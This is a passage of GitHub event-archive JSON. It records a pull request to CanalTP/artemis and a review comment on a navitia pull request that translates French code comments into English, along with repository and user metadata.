https://jira.kisio.org/browse/NAVP-1068","created_at":"2019-02-21T14:21:06Z","updated_at":"2019-02-26T14:56:39Z","closed_at":null,"merged_at":null,"merge_commit_sha":"19d990f9a188f039d2703837ae30aba2a7ed91d4","assignee":null,"assignees":[],"requested_reviewers":[{"login":"benoit-bst","id":32099204,"node_id":"MDQ6VXNlcjMyMDk5MjA0","avatar_url":"https://avatars0.githubusercontent.com/u/32099204?v=4","gravatar_id":"","url":"https://api.github.com/users/benoit-bst","html_url":"https://github.com/benoit-bst","followers_url":"https://api.github.com/users/benoit-bst/followers","following_url":"https://api.github.com/users/benoit-bst/following{/other_user}","gists_url":"https://api.github.com/users/benoit-bst/gists{/gist_id}","starred_url":"https://api.github.com/users/benoit-bst/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benoit-bst/subscriptions","organizations_url":"https://api.github.com/users/benoit-bst/orgs","repos_url":"https://api.github.com/users/benoit-bst/repos","events_url":"https://api.github.com/users/benoit-bst/events{/privacy}","received_events_url":"https://api.github.com/users/benoit-bst/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/CanalTP/artemis/pulls/301/commits","review_comments_url":"https://api.github.com/repos/CanalTP/artemis/pulls/301/comments","review_comment_url":"https://api.github.com/repos/CanalTP/artemis/pulls/comments{/number}","comments_url":"https://api.github.com/repos/CanalTP/artemis/issues/301/comments","statuses_url":"https://api.github.com/repos/CanalTP/artemis/statuses/05161e80ad7f6dbcd08b9d883e39c80347a1ea33","head":{"label":"kadhikari:tests_on_new_trip_NAVP-1068","ref":"tests_on_new_trip_NAVP-1068","sha":"05161e80ad7f6dbcd08b9d883e39c80347a1ea33","user":{"login":"kadhikari","id":5418640,"node_id":"MDQ6VXNlcjU0MTg2NDA=","avatar_url":"https://avatars1.githubusercontent.com/u/5418640?v=4","gravatar_id":"","url":"https://api.github.com/users/kadhikari","html_url":"https://github.com/kadhikari","followers_url":"https://api.github.com/users/kadhikari/followers","following_url":"https://api.github.com/users/kadhikari/following{/other_user}","gists_url":"https://api.github.com/users/kadhikari/gists{/gist_id}","starred_url":"https://api.github.com/users/kadhikari/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kadhikari/subscriptions","organizations_url":"https://api.github.com/users/kadhikari/orgs","repos_url":"https://api.github.com/users/kadhikari/repos","events_url":"https://api.github.com/users/kadhikari/events{/privacy}","received_events_url":"https://api.github.com/users/kadhikari/received_events","type":"User","site_admin":false},"repo":{"id":74368015,"node_id":"MDEwOlJlcG9zaXRvcnk3NDM2ODAxNQ==","name":"artemis","full_name":"kadhikari/artemis","private":false,"owner":{"login":"kadhikari","id":5418640,"node_id":"MDQ6VXNlcjU0MTg2NDA=","avatar_url":"https://avatars1.githubusercontent.com/u/5418640?v=4","gravatar_id":"","url":"https://api.github.com/users/kadhikari","html_url":"https://github.com/kadhikari","followers_url":"https://api.github.com/users/kadhikari/followers","following_url":"https://api.github.com/users/kadhikari/following{/other_user}","gists_url":"https://api.github.com/users/kadhikari/gists{/gist_id}","starred_url":"https://api.github.com/users/kadhikari/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kadhikari/subscriptions","organizations_url":"https://api.github.com/users/kadhikari/orgs","repos_url":"https://api.github.com/users/kadhikari/repos","events_url":"https://api.github.com/users/kadhikari/events{/privacy}","received_events_url":"https://api.github.com/users/kadhikari/received_events","type":"User","site_admin":false},"html_url":"https://github.com/kadhikari/artemis","description":"Business tests for https://github.com/CanalTP/navitia","fork":true,"url":"https://api.github.com/repos/kadhikari/artemis","forks_url":"https://api.github.com/repos/kadhikari/artemis/forks","keys_url":"https://api.github.com/repos/kadhikari/artemis/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kadhikari/artemis/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kadhikari/artemis/teams","hooks_url":"https://api.github.com/repos/kadhikari/artemis/hooks","issue_events_url":"https://api.github.com/repos/kadhikari/artemis/issues/events{/number}","events_url":"https://api.github.com/repos/kadhikari/artemis/events","assignees_url":"https://api.github.com/repos/kadhikari/artemis/assignees{/user}","branches_url":"https://api.github.com/repos/kadhikari/artemis/branches{/branch}","tags_url":"https://api.github.com/repos/kadhikari/artemis/tags","blobs_url":"https://api.github.com/repos/kadhikari/artemis/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kadhikari/artemis/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kadhikari/artemis/git/refs{/sha}","trees_url":"https://api.github.com/repos/kadhikari/artemis/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kadhikari/artemis/statuses/{sha}","languages_url":"https://api.github.com/repos/kadhikari/artemis/languages","stargazers_url":"https://api.github.com/repos/kadhikari/artemis/stargazers","contributors_url":"https://api.github.com/repos/kadhikari/artemis/contributors","subscribers_url":"https://api.github.com/repos/kadhikari/artemis/subscribers","subscription_url":"https://api.github.com/repos/kadhikari/artemis/subscription","commits_url":"https://api.github.com/repos/kadhikari/artemis/commits{/sha}","git_commits_url":"https://api.github.com/repos/kadhikari/artemis/git/commits{/sha}","comments_url":"https://api.github.com/repos/kadhikari/artemis/comments{/number}","issue_comment_url":"https://api.github.com/repos/kadhikari/artemis/issues/comments{/number}","contents_url":"https://api.github.com/repos/kadhikari/artemis/contents/{+path}","compare_url":"https://api.github.com/repos/kadhikari/artemis/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kadhikari/artemis/merges","archive_url":"https://api.github.com/repos/kadhikari/artemis/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kadhikari/artemis/downloads","issues_url":"https://api.github.com/repos/kadhikari/artemis/issues{/number}","pulls_url":"https://api.github.com/repos/kadhikari/artemis/pulls{/number}","milestones_url":"https://api.github.com/repos/kadhikari/artemis/milestones{/number}","notifications_url":"https://api.github.com/repos/kadhikari/artemis/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kadhikari/artemis/labels{/name}","releases_url":"https://api.github.com/repos/kadhikari/artemis/releases{/id}","deployments_url":"https://api.github.com/repos/kadhikari/artemis/deployments","created_at":"2016-11-21T13:48:49Z","updated_at":"2016-11-21T13:48:50Z","pushed_at":"2019-02-25T15:10:55Z","git_url":"git://github.com/kadhikari/artemis.git","ssh_url":"git@github.com:kadhikari/artemis.git","clone_url":"https://github.com/kadhikari/artemis.git","svn_url":"https://github.com/kadhikari/artemis","homepage":"www.navitia.io","size":2550,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"CanalTP:master","ref":"master","sha":"e8e2923543e04c572c817b5c5271073b9720a827","user":{"login":"CanalTP","id":2743985,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NDM5ODU=","avatar_url":"https://avatars2.githubusercontent.com/u/2743985?v=4","gravatar_id":"","url":"https://api.github.com/users/CanalTP","html_url":"https://github.com/CanalTP","followers_url":"https://api.github.com/users/CanalTP/followers","following_url":"https://api.github.com/users/CanalTP/following{/other_user}","gists_url":"https://api.github.com/users/CanalTP/gists{/gist_id}","starred_url":"https://api.github.com/users/CanalTP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CanalTP/subscriptions","organizations_url":"https://api.github.com/users/CanalTP/orgs","repos_url":"https://api.github.com/users/CanalTP/repos","events_url":"https://api.github.com/users/CanalTP/events{/privacy}","received_events_url":"https://api.github.com/users/CanalTP/received_events","type":"Organization","site_admin":false},"repo":{"id":19280505,"node_id":"MDEwOlJlcG9zaXRvcnkxOTI4MDUwNQ==","name":"artemis","full_name":"CanalTP/artemis","private":false,"owner":{"login":"CanalTP","id":2743985,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NDM5ODU=","avatar_url":"https://avatars2.githubusercontent.com/u/2743985?v=4","gravatar_id":"","url":"https://api.github.com/users/CanalTP","html_url":"https://github.com/CanalTP","followers_url":"https://api.github.com/users/CanalTP/followers","following_url":"https://api.github.com/users/CanalTP/following{/other_user}","gists_url":"https://api.github.com/users/CanalTP/gists{/gist_id}","starred_url":"https://api.github.com/users/CanalTP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CanalTP/subscriptions","organizations_url":"https://api.github.com/users/CanalTP/orgs","repos_url":"https://api.github.com/users/CanalTP/repos","events_url":"https://api.github.com/users/CanalTP/events{/privacy}","received_events_url":"https://api.github.com/users/CanalTP/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/CanalTP/artemis","description":"Business tests for https://github.com/CanalTP/navitia","fork":false,"url":"https://api.github.com/repos/CanalTP/artemis","forks_url":"https://api.github.com/repos/CanalTP/artemis/forks","keys_url":"https://api.github.com/repos/CanalTP/artemis/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CanalTP/artemis/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CanalTP/artemis/teams","hooks_url":"https://api.github.com/repos/CanalTP/artemis/hooks","issue_events_url":"https://api.github.com/repos/CanalTP/artemis/issues/events{/number}","events_url":"https://api.github.com/repos/CanalTP/artemis/events","assignees_url":"https://api.github.com/repos/CanalTP/artemis/assignees{/user}","branches_url":"https://api.github.com/repos/CanalTP/artemis/branches{/branch}","tags_url":"https://api.github.com/repos/CanalTP/artemis/tags","blobs_url":"https://api.github.com/repos/CanalTP/artemis/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CanalTP/artemis/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CanalTP/artemis/git/refs{/sha}","trees_url":"https://api.github.com/repos/CanalTP/artemis/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CanalTP/artemis/statuses/{sha}","languages_url":"https://api.github.com/repos/CanalTP/artemis/languages","stargazers_url":"https://api.github.com/repos/CanalTP/artemis/stargazers","contributors_url":"https://api.github.com/repos/CanalTP/artemis/contributors","subscribers_url":"https://api.github.com/repos/CanalTP/artemis/subscribers","subscription_url":"https://api.github.com/repos/CanalTP/artemis/subscription","commits_url":"https://api.github.com/repos/CanalTP/artemis/commits{/sha}","git_commits_url":"https://api.github.com/repos/CanalTP/artemis/git/commits{/sha}","comments_url":"https://api.github.com/repos/CanalTP/artemis/comments{/number}","issue_comment_url":"https://api.github.com/repos/CanalTP/artemis/issues/comments{/number}","contents_url":"https://api.github.com/repos/CanalTP/artemis/contents/{+path}","compare_url":"https://api.github.com/repos/CanalTP/artemis/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CanalTP/artemis/merges","archive_url":"https://api.github.com/repos/CanalTP/artemis/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CanalTP/artemis/downloads","issues_url":"https://api.github.com/repos/CanalTP/artemis/issues{/number}","pulls_url":"https://api.github.com/repos/CanalTP/artemis/pulls{/number}","milestones_url":"https://api.github.com/repos/CanalTP/artemis/milestones{/number}","notifications_url":"https://api.github.com/repos/CanalTP/artemis/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CanalTP/artemis/labels{/name}","releases_url":"https://api.github.com/repos/CanalTP/artemis/releases{/id}","deployments_url":"https://api.github.com/repos/CanalTP/artemis/deployments","created_at":"2014-04-29T15:01:06Z","updated_at":"2019-02-26T14:26:06Z","pushed_at":"2019-02-26T14:26:04Z","git_url":"git://github.com/CanalTP/artemis.git","ssh_url":"git@github.com:CanalTP/artemis.git","clone_url":"https://github.com/CanalTP/artemis.git","svn_url":"https://github.com/CanalTP/artemis","homepage":"www.navitia.io","size":2547,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":9,"mirror_url":null,"archived":false,"open_issues_count":1,"license":null,"forks":9,"open_issues":1,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/CanalTP/artemis/pulls/301"},"html":{"href":"https://github.com/CanalTP/artemis/pull/301"},"issue":{"href":"https://api.github.com/repos/CanalTP/artemis/issues/301"},"comments":{"href":"https://api.github.com/repos/CanalTP/artemis/issues/301/comments"},"review_comments":{"href":"https://api.github.com/repos/CanalTP/artemis/pulls/301/comments"},"review_comment":{"href":"https://api.github.com/repos/CanalTP/artemis/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/CanalTP/artemis/pulls/301/commits"},"statuses":{"href":"https://api.github.com/repos/CanalTP/artemis/statuses/05161e80ad7f6dbcd08b9d883e39c80347a1ea33"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 19280505,
"name": "CanalTP/artemis",
"url": "https://api.github.com/repos/CanalTP/artemis"
}
|
{
"id": 35227890,
"login": "mbounabi",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/35227890?",
"url": "https://api.github.com/users/mbounabi"
}
|
{
"id": 2743985,
"login": "CanalTP",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2743985?",
"url": "https://api.github.com/orgs/CanalTP"
}
| 2019-02-26T14:32:57 |
9139140517
|
{"actor":{"display_login":"mbounabi"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/CanalTP/navitia/pulls/comments/262082272","pull_request_review_id":210169301,"id":262082272,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2MjA4MjI3Mg==","diff_hunk":"@@ -173,21 +173,21 @@ class Data : boost::noncopyable{\n return res;\n }\n \n- /** Retourne tous les indices d'un type donné\n+ /** Return all indexes of a given type\n *\n- * Concrètement, on a un tableau avec des éléments allant de 0 à (n-1) où n est le nombre d'éléments\n+ * In practice, return an array with elements ranging from 0 to (n-1) where n is the number of elements\n */\n Indexes get_all_index(Type_e type) const;\n \n size_t get_nb_obj(Type_e type) const;\n \n- /** Étant donné une liste d'indexes pointant vers source,\n- * retourne une liste d'indexes pointant vers target\n+ /** Given a list of indexes of 'source' objects\n+ * return a list of indexes of 'target' objects\n */\n Indexes get_target_by_source(Type_e source, Type_e target, const Indexes& source_idx) const;\n \n- /** Étant donné un index pointant vers source,\n- * retourne une liste d'indexes pointant vers target\n+ /** Given one index of a 'source' object\n+ * return a list of indexes of 'target' objects","path":"source/type/data.h","position":65,"original_position":65,"commit_id":"f154872c6e628970142d2d68210d456891f2398a","original_commit_id":"f154872c6e628970142d2d68210d456891f2398a","user":{"login":"nonifier","id":13467895,"node_id":"MDQ6VXNlcjEzNDY3ODk1","avatar_url":"https://avatars0.githubusercontent.com/u/13467895?v=4","gravatar_id":"","url":"https://api.github.com/users/nonifier","html_url":"https://github.com/nonifier","followers_url":"https://api.github.com/users/nonifier/followers","following_url":"https://api.github.com/users/nonifier/following{/other_user}","gists_url":"https://api.github.com/users/nonifier/gists{/gist_id}","starred_url":"https://api.github.com/users/nonifier/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nonifier/subscriptions","organizations_url":"https://api.github.com/users/nonifier/orgs","repos_url":"https://api.github.com/users/nonifier/repos","events_url":"https://api.github.com/users/nonifier/events{/privacy}","received_events_url":"https://api.github.com/users/nonifier/received_events","type":"User","site_admin":false},"body":"```suggestion\r\n * returns a list of indexes of 'target' objects\r\n```","created_at":"2019-03-04T14:34:18Z","updated_at":"2019-03-04T14:34:18Z","html_url":"https://github.com/CanalTP/navitia/pull/2691#discussion_r262082272","pull_request_url":"https://api.github.com/repos/CanalTP/navitia/pulls/2691","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/CanalTP/navitia/pulls/comments/262082272"},"html":{"href":"https://github.com/CanalTP/navitia/pull/2691#discussion_r262082272"},"pull_request":{"href":"https://api.github.com/repos/CanalTP/navitia/pulls/2691"}}},"pull_request":{"url":"https://api.github.com/repos/CanalTP/navitia/pulls/2691","id":256671920,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU2NjcxOTIw","html_url":"https://github.com/CanalTP/navitia/pull/2691","diff_url":"https://github.com/CanalTP/navitia/pull/2691.diff","patch_url":"https://github.com/CanalTP/navitia/pull/2691.patch","issue_url":"https://api.github.com/repos/CanalTP/navitia/issues/2691","number":2691,"state":"open","locked":false,"title":"Kraken: minor cleaning","user":{"login":"pbougue","id":12812530,"node_id":"MDQ6VXNlcjEyODEyNTMw","avatar_url":"https://avatars1.githubusercontent.com/u/12812530?v=4","gravatar_id":"","url":"https://api.github.com/users/pbougue","html_url":"https://github.com/pbougue","followers_url":"https://api.github.com/users/pbougue/followers","following_url":"https://api.github.com/users/pbougue/following{/other_user}","gists_url":"https://api.github.com/users/pbougue/gists{/gist_id}","starred_url":"https://api.github.com/users/pbougue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pbougue/subscriptions","organizations_url":"https://api.github.com/users/pbougue/orgs","repos_url":"https://api.github.com/users/pbougue/repos","events_url":"https://api.github.com/users/pbougue/events{/privacy}","received_events_url":"https://api.github.com/users/pbougue/received_events","type":"User","site_admin":false},"body":"Minor cleanings, separated from PR to come on dynamic RT route creation to preserve \"reviewability\".\r\n\r\nTODO:\r\n\r\n- [x] update utils submodule when https://github.com/CanalTP/utils/pull/77 is merged\r\n- [x] wait until PR on route creation is finished (maybe more cleaning on the way)","created_at":"2019-02-27T13:04:43Z","updated_at":"2019-03-04T14:34:18Z","closed_at":null,"merged_at":null,"merge_commit_sha":"290a665610002055fd41aeacd1aaee5bd7ec63e1","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":275917142,"node_id":"MDU6TGFiZWwyNzU5MTcxNDI=","url":"https://api.github.com/repos/CanalTP/navitia/labels/not_in_changelog","name":"not_in_changelog","color":"cccccc","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/CanalTP/navitia/pulls/2691/commits","review_comments_url":"https://api.github.com/repos/CanalTP/navitia/pulls/2691/comments","review_comment_url":"https://api.github.com/repos/CanalTP/navitia/pulls/comments{/number}","comments_url":"https://api.github.com/repos/CanalTP/navitia/issues/2691/comments","statuses_url":"https://api.github.com/repos/CanalTP/navitia/statuses/f154872c6e628970142d2d68210d456891f2398a","head":{"label":"pbougue:minor_cleaning","ref":"minor_cleaning","sha":"f154872c6e628970142d2d68210d456891f2398a","user":{"login":"pbougue","id":12812530,"node_id":"MDQ6VXNlcjEyODEyNTMw","avatar_url":"https://avatars1.githubusercontent.com/u/12812530?v=4","gravatar_id":"","url":"https://api.github.com/users/pbougue","html_url":"https://github.com/pbougue","followers_url":"https://api.github.com/users/pbougue/followers","following_url":"https://api.github.com/users/pbougue/following{/other_user}","gists_url":"https://api.github.com/users/pbougue/gists{/gist_id}","starred_url":"https://api.github.com/users/pbougue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pbougue/subscriptions","organizations_url":"https://api.github.com/users/pbougue/orgs","repos_url":"https://api.github.com/users/pbougue/repos","events_url":"https://api.github.com/users/pbougue/events{/privacy}","received_events_url":"https://api.github.com/users/pbougue/received_events","type":"User","site_admin":false},"repo":{"id":37126861,"node_id":"MDEwOlJlcG9zaXRvcnkzNzEyNjg2MQ==","name":"navitia","full_name":"pbougue/navitia","private":false,"owner":{"login":"pbougue","id":12812530,"node_id":"MDQ6VXNlcjEyODEyNTMw","avatar_url":"https://avatars1.githubusercontent.com/u/12812530?v=4","gravatar_id":"","url":"https://api.github.com/users/pbougue","html_url":"https://github.com/pbougue","followers_url":"https://api.github.com/users/pbougue/followers","following_url":"https://api.github.com/users/pbougue/following{/other_user}","gists_url":"https://api.github.com/users/pbougue/gists{/gist_id}","starred_url":"https://api.github.com/users/pbougue/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pbougue/subscriptions","organizations_url":"https://api.github.com/users/pbougue/orgs","repos_url":"https://api.github.com/users/pbougue/repos","events_url":"https://api.github.com/users/pbougue/events{/privacy}","received_events_url":"https://api.github.com/users/pbougue/received_events","type":"User","site_admin":false},"html_url":"https://github.com/pbougue/navitia","description":"The REST API to build cool stuff with public transport","fork":true,"url":"https://api.github.com/repos/pbougue/navitia","forks_url":"https://api.github.com/repos/pbougue/navitia/forks","keys_url":"https://api.github.com/repos/pbougue/navitia/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pbougue/navitia/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pbougue/navitia/teams","hooks_url":"https://api.github.com/repos/pbougue/navitia/hooks","issue_events_url":"https://api.github.com/repos/pbougue/navitia/issues/events{/number}","events_url":"https://api.github.com/repos/pbougue/navitia/events","assignees_url":"https://api.github.com/repos/pbougue/navitia/assignees{/user}","branches_url":"https://api.github.com/repos/pbougue/navitia/branches{/branch}","tags_url":"https://api.github.com/repos/pbougue/navitia/tags","blobs_url":"https://api.github.com/repos/pbougue/navitia/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pbougue/navitia/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pbougue/navitia/git/refs{/sha}","trees_url":"https://api.github.com/repos/pbougue/navitia/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pbougue/navitia/statuses/{sha}","languages_url":"https://api.github.com/repos/pbougue/navitia/languages","stargazers_url":"https://api.github.com/repos/pbougue/navitia/stargazers","contributors_url":"https://api.github.com/repos/pbougue/navitia/contributors","subscribers_url":"https://api.github.com/repos/pbougue/navitia/subscribers","subscription_url":"https://api.github.com/repos/pbougue/navitia/subscription","commits_url":"https://api.github.com/repos/pbougue/navitia/commits{/sha}","git_commits_url":"https://api.github.com/repos/pbougue/navitia/git/commits{/sha}","comments_url":"https://api.github.com/repos/pbougue/navitia/comments{/number}","issue_comment_url":"https://api.github.com/repos/pbougue/navitia/issues/comments{/number}","contents_url":"https://api.github.com/repos/pbougue/navitia/contents/{+path}","compare_url":"https://api.github.com/repos/pbougue/navitia/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pbougue/navitia/merges","archive_url":"https://api.github.com/repos/pbougue/navitia/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pbougue/navitia/downloads","issues_url":"https://api.github.com/repos/pbougue/navitia/issues{/number}","pulls_url":"https://api.github.com/repos/pbougue/navitia/pulls{/number}","milestones_url":"https://api.github.com/repos/pbougue/navitia/milestones{/number}","notifications_url":"https://api.github.com/repos/pbougue/navitia/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pbougue/navitia/labels{/name}","releases_url":"https://api.github.com/repos/pbougue/navitia/releases{/id}","deployments_url":"https://api.github.com/repos/pbougue/navitia/deployments","created_at":"2015-06-09T10:57:48Z","updated_at":"2019-02-15T11:15:56Z","pushed_at":"2019-02-28T16:47:48Z","git_url":"git://github.com/pbougue/navitia.git","ssh_url":"git@github.com:pbougue/navitia.git","clone_url":"https://github.com/pbougue/navitia.git","svn_url":"https://github.com/pbougue/navitia","homepage":"http://www.navitia.io","size":43053,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":0,"open_issues":1,"watchers":0,"default_branch":"dev"}},"base":{"label":"CanalTP:dev","ref":"dev","sha":"7eca523491cf87274568f3a4a9d37507c34ff96b","user":{"login":"CanalTP","id":2743985,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NDM5ODU=","avatar_url":"https://avatars2.githubusercontent.com/u/2743985?v=4","gravatar_id":"","url":"https://api.github.com/users/CanalTP","html_url":"https://github.com/CanalTP","followers_url":"https://api.github.com/users/CanalTP/followers","following_url":"https://api.github.com/users/CanalTP/following{/other_user}","gists_url":"https://api.github.com/users/CanalTP/gists{/gist_id}","starred_url":"https://api.github.com/users/CanalTP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CanalTP/subscriptions","organizations_url":"https://api.github.com/users/CanalTP/orgs","repos_url":"https://api.github.com/users/CanalTP/repos","events_url":"https://api.github.com/users/CanalTP/events{/privacy}","received_events_url":"https://api.github.com/users/CanalTP/received_events","type":"Organization","site_admin":false},"repo":{"id":10797333,"node_id":"MDEwOlJlcG9zaXRvcnkxMDc5NzMzMw==","name":"navitia","full_name":"CanalTP/navitia","private":false,"owner":{"login":"CanalTP","id":2743985,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NDM5ODU=","avatar_url":"https://avatars2.githubusercontent.com/u/2743985?v=4","gravatar_id":"","url":"https://api.github.com/users/CanalTP","html_url":"https://github.com/CanalTP","followers_url":"https://api.github.com/users/CanalTP/followers","following_url":"https://api.github.com/users/CanalTP/following{/other_user}","gists_url":"https://api.github.com/users/CanalTP/gists{/gist_id}","starred_url":"https://api.github.com/users/CanalTP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CanalTP/subscriptions","organizations_url":"https://api.github.com/users/CanalTP/orgs","repos_url":"https://api.github.com/users/CanalTP/repos","events_url":"https://api.github.com/users/CanalTP/events{/privacy}","received_events_url":"https://api.github.com/users/CanalTP/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/CanalTP/navitia","description":"The open source software to build cool stuff with locomotion","fork":false,"url":"https://api.github.com/repos/CanalTP/navitia","forks_url":"https://api.github.com/repos/CanalTP/navitia/forks","keys_url":"https://api.github.com/repos/CanalTP/navitia/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CanalTP/navitia/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CanalTP/navitia/teams","hooks_url":"https://api.github.com/repos/CanalTP/navitia/hooks","issue_events_url":"https://api.github.com/repos/CanalTP/navitia/issues/events{/number}","events_url":"https://api.github.com/repos/CanalTP/navitia/events","assignees_url":"https://api.github.com/repos/CanalTP/navitia/assignees{/user}","branches_url":"https://api.github.com/repos/CanalTP/navitia/branches{/branch}","tags_url":"https://api.github.com/repos/CanalTP/navitia/tags","blobs_url":"https://api.github.com/repos/CanalTP/navitia/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CanalTP/navitia/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CanalTP/navitia/git/refs{/sha}","trees_url":"https://api.github.com/repos/CanalTP/navitia/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CanalTP/navitia/statuses/{sha}","languages_url":"https://api.github.com/repos/CanalTP/navitia/languages","stargazers_url":"https://api.github.com/repos/CanalTP/navitia/stargazers","contributors_url":"https://api.github.com/repos/CanalTP/navitia/contributors","subscribers_url":"https://api.github.com/repos/CanalTP/navitia/subscribers","subscription_url":"https://api.github.com/repos/CanalTP/navitia/subscription","commits_url":"https://api.github.com/repos/CanalTP/navitia/commits{/sha}","git_commits_url":"https://api.github.com/repos/CanalTP/navitia/git/commits{/sha}","comments_url":"https://api.github.com/repos/CanalTP/navitia/comments{/number}","issue_comment_url":"https://api.github.com/repos/CanalTP/navitia/issues/comments{/number}","contents_url":"https://api.github.com/repos/CanalTP/navitia/contents/{+path}","compare_url":"https://api.github.com/repos/CanalTP/navitia/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CanalTP/navitia/merges","archive_url":"https://api.github.com/repos/CanalTP/navitia/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CanalTP/navitia/downloads","issues_url":"https://api.github.com/repos/CanalTP/navitia/issues{/number}","pulls_url":"https://api.github.com/repos/CanalTP/navitia/pulls{/number}","milestones_url":"https://api.github.com/repos/CanalTP/navitia/milestones{/number}","notifications_url":"https://api.github.com/repos/CanalTP/navitia/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CanalTP/navitia/labels{/name}","releases_url":"https://api.github.com/repos/CanalTP/navitia/releases{/id}","deployments_url":"https://api.github.com/repos/CanalTP/navitia/deployments","created_at":"2013-06-19T15:34:30Z","updated_at":"2019-03-04T07:52:58Z","pushed_at":"2019-03-04T12:35:37Z","git_url":"git://github.com/CanalTP/navitia.git","ssh_url":"git@github.com:CanalTP/navitia.git","clone_url":"https://github.com/CanalTP/navitia.git","svn_url":"https://github.com/CanalTP/navitia","homepage":"http://www.navitia.io","size":43966,"stargazers_count":268,"watchers_count":268,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":87,"mirror_url":null,"archived":false,"open_issues_count":37,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":87,"open_issues":37,"watchers":268,"default_branch":"dev"}},"_links":{"self":{"href":"https://api.github.com/repos/CanalTP/navitia/pulls/2691"},"html":{"href":"https://github.com/CanalTP/navitia/pull/2691"},"issue":{"href":"https://api.github.com/repos/CanalTP/navitia/issues/2691"},"comments":{"href":"https://api.github.com/repos/CanalTP/navitia/issues/2691/comments"},"review_comments":{"href":"https://api.github.com/repos/CanalTP/navitia/pulls/2691/comments"},"review_comment":{"href":"https://api.github.com/repos/CanalTP/navitia/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/CanalTP/navitia/pulls/2691/commits"},"statuses":{"href":"https://api.github.com/repos/CanalTP/navitia/statuses/f154872c6e628970142d2d68210d456891f2398a"}},"author_association":"MEMBER"}}
|
{
"id": 10797333,
"name": "CanalTP/navitia",
"url": "https://api.github.com/repos/CanalTP/navitia"
}
|
{
"id": 13467895,
"login": "nonifier",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/13467895?",
"url": "https://api.github.com/users/nonifier"
}
|
{
"id": 2743985,
"login": "CanalTP",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2743985?",
